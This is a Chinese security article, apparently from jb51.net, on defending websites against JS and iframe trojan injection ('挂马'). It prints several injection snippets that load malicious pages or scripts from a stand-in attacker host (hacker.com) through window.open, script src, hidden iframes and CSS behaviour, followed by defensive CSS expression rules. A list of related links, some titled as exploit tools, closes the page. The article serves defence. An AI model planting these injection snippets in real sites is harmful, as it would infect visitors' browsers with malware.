防止网站被JS,iframe挂马的防范方法

所属分类: 网络安全 / 脚本攻防 阅读数: 254
收藏 0 赞 0 分享
这种方法使用的关键代码如下:
window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。
另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:
<script src="http://www.hacker.com/木马脚本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地将木马挂到了对方的网页中了。
小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:
<div style="behaviour: url(http://www.hacker.com/木马脚本.js);">
或者:
<iframe src="vbscript:[挂马脚本]">
等等……
防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。
所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
让JS木马的进程迅速中止
在 <head> </head> 之间加入如下代码:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
单屏蔽script
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
/*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>

上面的代码经脚本之家测试,代码是根据查找http一般情况下大家写的js路径,是带有域名的,例如脚本之家使用的就是http://img.jb51.net/1.js那么也是无法运行的,所以上面的代码有一定的局限性。大家可以根据需要修改。
例如我们的地址都是img.jb51.net那么可以写成
script{ngz1:expression((this.src.indexOf('jb51.net')==-1)?document.close():'');}
那么我们需要的就是将我们所以的js都写成带http://img.jb51.net的。如果你有更好的方法可以发布下。下面是我们给出的可能需要多重判断
script{ngz1:expression(((this.src.indexOf('jb51.net')==-1)&&this.src.indexOf('http')==0)?document.close():'');}
更多精彩内容其他人还在看

PHP的一个EVAL的利用防范

这篇文章主要为大家介绍下php eval的利用防范,为了安装强烈兼用少用eval函数
收藏 0 赞 0 分享

DedeCMS全版本通杀SQL注入漏洞利用代码及工具2014年2月28日

近日,网友在dedecms中发现了全版本通杀的SQL注入漏洞,目前官方最新版已修复该漏洞,大家早点去官方下载补丁2014年2月28日
收藏 0 赞 0 分享

一些常见的PHP后门原理分析

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果
收藏 0 赞 0 分享

Mysql语法绕过360scan insert防注入方法

其实Mysql不只可以用insert into xxx values 插入数据,还可以:insert into xxx set xx =方法
收藏 0 赞 0 分享

科讯KESION CMS最新版任意文件上传WEBSHELL漏洞

会员上传文件漏洞,可以上传任意后缀,实现任意文件上传WEBSHELL
收藏 0 赞 0 分享

phpcms2008 代码执行 批量getshell EXP(使用菜刀)

这篇文章主要介绍了phpcms2008 代码执行 批量getshell EXP的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

PHP多字节编码漏洞小结

这篇文章主要介绍了PHP多字节编码漏洞小结,需要的朋友可以参考下
收藏 0 赞 0 分享

防范 dedecms 广告内容插入后门

这篇文章主要介绍了防范 dedecms 广告内容插入后门,需要的朋友可以参考下
收藏 0 赞 0 分享

记一次发现利用preg_replace隐藏后门和后续探究

php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码
收藏 0 赞 0 分享

Linux系统采用netstat命令查看DDOS攻击的方法

这篇文章主要为大家介绍了Linux系统采用netstat命令查看DDOS攻击的方法,对于网络安全而言非常重要!需要的朋友可以参考下
收藏 0 赞 0 分享
查看更多